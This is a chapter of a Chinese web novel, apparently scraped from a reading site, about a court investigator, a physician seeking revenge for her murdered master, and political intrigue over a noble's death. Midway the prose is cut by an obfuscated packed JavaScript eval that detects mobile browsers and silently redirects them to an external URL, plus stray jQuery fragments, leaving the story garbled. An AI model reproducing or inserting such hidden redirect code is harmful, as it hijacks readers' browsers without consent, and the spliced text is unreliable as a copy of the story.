空气顿时安静下来。
“这位刘大人是有人介绍,那日茶馆便是替他看病的,刘大人喜色,身子亏空,隔日便是来拿壮阳药还有调理身子的方子,方子还在,大人若是不信,不妨拿着方子去找刘大人派去抓药的小厮核对。”
向倾承手握拳抵在唇边,轻咳了两声,“你这不是满屋子的药材?他为何不直接在你这买?”
向倾承想的是若查出来这药有问题,药又不是在她这买的,除非药方有问题,不然她依然没有嫌疑。
他可不认为这样一个人会蠢到在药方上动手脚。
倪逾明露出一个意味深长的笑容,“大人不懂吗?壮阳药可不是什么救命药值得大肆宣扬,说不定刘大人分别派去抓药的小厮都有好几个,换好几个药铺也有可能。”
——————
“大人,药方没有任何问题,太医院的说这药方甚至还有调理身体的作用,说着还想见一面开这方子的人。”夏一摸了摸鼻子,瞄了一眼向倾承的脸色。
大人从宫里出来后,脸色一直都不太好看,浑身散发着寒气。
都快吓死他的小破胆了。
向倾承摆了摆手,“这案子不用管了,收拾一下,明日一早启程去安岭县。”
“不……不管了?”夏一惊讶,但也不敢多问,又是应好便下去了。
向倾承揉了揉太阳穴,浑身的怒气发泄不出去,想到宫里的事,气笑了。
反正刘恩也不是什么好东西,死了便死了吧,免得祸害遗千年,凶手是谁不重要了。
他一早进宫,龙椅上的人比起两个月前,又胖了一圈,衣摆绣的龙纹都被撑变了形,他装模作样地问:“刘恩的死,爱卿调查得如何了?”
向倾承拱手,恭敬地答道:“大理寺正在一一排查,目前还不能确定死因。”
龙椅上的人勃然大怒,越说腰板儿挺得越直似乎在给自己增添气势,“是没调查出来还是忙着做别的事?你当朕不知道你的心思全在那医馆大夫身上?你可别告诉朕,那大夫是凶手!人家那日可是在大街上,百姓全看着呢!你大理寺卿是想引起公愤?!还是想让那些蝼蚁对朕不满!?”
接着又是劈头盖脸地漫骂,脸颊涨得通红,“你可知如今那群庶民都是怎么编排朕的?刘恩死在鬼节,京城的庶民本就迷信鬼神,天谴之事,如今更是说朕德不配位,鬼都看不下去了!怎么!他们还要起义造反不成!”
一长串话说完,他坐在龙椅上大口大口地喘着粗气,瞪着眼睛看着向倾承。
边上有人幸灾乐祸,“陛下息怒,向大人如今二十有二,寻常男子这个年纪没成婚也定亲了,许是向大人心里爱慕那位大夫已久,这不刚好有了机会,您不妨再给向大人一段时间,他定会还陛下和太傅一个公道。”
这话听着像是替他辩解,但在天子听来无异于是火上浇油。
大事摆在眼前,竟想着谈情说爱之事,甚至利用职务之便,更是不可饶恕!
“陛下——”
向倾承觉得和这些人简直无法沟通,但想了想自己才刚当上官,还是决定解释,谁知刚开口就被打断了。
“再给他一段时间,庶民都能爬到朕的头顶上来耍威风了!再过段时间这位置这椅子是不是就要换人座了!?还是你们心中也巴不得要朕脑袋啊!”
众人一阵惶恐,只好说:“陛下息怒。”
他喘了两口气,“刘恩也算是朕看着长大的,凶手一日不找出来朕一日不安心,方才柳青对这案子颇有眉目,这案子就交给柳青吧。”
说着视线移到向倾承身上,“爱卿以为如何?”
柳青正是方才幸灾乐祸的人,也是大理寺少卿,如今四十有四,若不是向倾承,他早已坐上大理寺卿的位置。
天子都发话了,向倾承还能说什么。
分路离朝。
柳青走到向倾承边上,“向大人办案向来靠谱,怎么这回卡住了?莫不是真的爱慕那大夫?要不要我教你几招如何讨女子欢心?”
向倾承微微勾了下唇,“不必了,柳大人的招式恐怕如今的女子都看不上了,万一嫌我老气可就得不偿失了。”
“你!”柳青顿时气得涨红一张脸。
他却有些好奇道:“我什么?柳大人不必自卑。”
“你!你你!”
“看来柳大人果真上了岁数,如今话都说不清楚了,大人平日里可要多多注意身子,毕竟大理寺少了谁都行,唯独不能少了您这样德高望重的前辈。”
柳青望着他潇洒离去的背影,一双三角眼里阴沉沉的。
表面如此云淡风轻,怕是心里都该嫉妒疯了吧。
这么想,柳青的怒气才消了大半。
这案子他定要好好办,灭了他向倾承的威风,以后看他还如何傲气,他要让他像条丧家之犬一般匍匐于他。
——————
“倪丫头,钰哥儿在不在?”
倪逾明正在算账,瞧见来人,弯了弯唇,“阿钰昨日就回学堂了,孙大嫂找阿钰有什么急事?”
“也不是什么急事,就是我家宝哥儿题不会做,想问问钰哥儿呢。”孙大嫂顿时摆摆手,找了个小板凳,拍了拍,大大咧咧地坐下,脸上神神秘秘的,看了看张妈妈,又看了看倪逾明。
“你们俩先别忙活了,快猜猜我今日听到了什么?”
倪逾明也拿了个凳子在她边上坐下,“莫不是找到那杀人凶手了?”
孙大嫂大手一拍,“果然还是倪丫头聪明!一猜一个准!”
张妈妈微微松了一口气,但面色无常地问:“凶手是谁可有打听到?”
“哎呦!”孙大嫂又凑近了点,一只手捂在嘴边,“是秦大将军府里的嫡长子!太傅一直和秦家不对付,说是秦大公子蓄意报复,提前往刘公子的酒里下了药,太医院之所以没有检查出来啊,是因为这药不是什么毒药,但与酒混在一起吃那便是致命的。”
太傅为何与秦家不对付,倪逾明了然于心,她在这京城未雨绸缪了四年,自然把那些权贵家的肮脏事打听得一清二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838710|211563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
楚。
秦家祖上三代都是为国出征的将军,手里掌握着将近三分之二的兵权,武人又向来不拘礼节,言语间更是直言不讳,也不知是哪句话让皇上心生忌惮。
俗话说自古帝王家最无情,哪怕是世世代代忠贞不渝替他守住城门的秦家,也不能幸免。
三年前,秦老将军从边地返回京城便是皇上的旨意,生怕秦家在边地勾结流寇,企图造反。
当初凭借纨绔愚蠢躲过杀身之祸的人,即使侥幸坐上了皇位,依旧愚蠢,最信赖得不过就是身边的太傅,皇帝本就不喜秦家,再加上太傅的耳边风,总认为秦家有造反的迹象。
太傅一党哪怕是在朝廷之上也常对秦家使绊子,而秦家一家都是在战场上杀过人,舔过血的,自然也看不惯太傅的弯弯绕绕。
三年前,刘恩便当街挑衅良家女子,被秦家大公子撞见,欲救下这名女子,刘恩顿时恼怒,更是挑衅秦家大公子早就与这女子暗渡陈仓,说的话一句比一句难听,秦大公子忍无可忍,直接打断了他的一条腿。
至此,秦将军府和太傅的梁子结下了。
当然,她向来是个自私之人,只要能替师父师娘报仇,谁的死和她都没关系。
秦家倒了,国破也不远了,发生战乱,必然先苦百姓,但她没有丝毫愧疚之心。
当初灭蛊族一事,少不了她们推波助澜,听风是风,听雨是雨,唾骂厌弃,恨不得自己在权贵面前拿剑杀了师父,展示自己的衷心,希望得到重用。
甚至现在也有人每年都往师父的坟头仍一些污秽物。
她们做事从不讲究前因后果,趋炎附势,三六九等,亘古不变,她可以理解,可为何还要掘墓鞭尸?
师父那样善良的一个人,死后竟然被这般对待,她凭什么愧疚?
师父那样体面的一个人,被五马分尸,尸体碎了一地,在那湿冷的山间躺了整整一天,那些人拿刀在师父本就不全的尸体上继续砍剁。
师娘怕那些人迁怒于她和阿钰,只敢等到夜里没人了才敢带着她上山,那时师父甚至已经拼凑不出一个完整的人形,骨渣和肉渣早已和泥融在一块,又只能被草草葬下,她怎敢愧疚?
师娘总是不说爱他,可那时却哭成了泪人,为师父殉了情,她拿什么替师父师娘原谅?
她不是菩萨,不渡人。
其他人的生死与她何干。
她厌弃这个世道。
讨厌每一个权贵。
她想师父和师娘了,想让师父继续告诉她那个梦中的世界,想让师娘拿着棒子教训她。
再等等。
最多两年。
倒时候安排好阿钰和张妈妈。
她就能见到师父师娘了。
“除了这事,我还听说了一事。”孙大嫂的表情又恢复了神秘。
倪逾明回过神,忍俊不禁,“究竟是何事?竟让大嫂都卖起了关子?”
孙大嫂也笑了,她向来是个瞒不住事的人,有些惊怕地说:“听闻安岭县有擅蛊术之人。”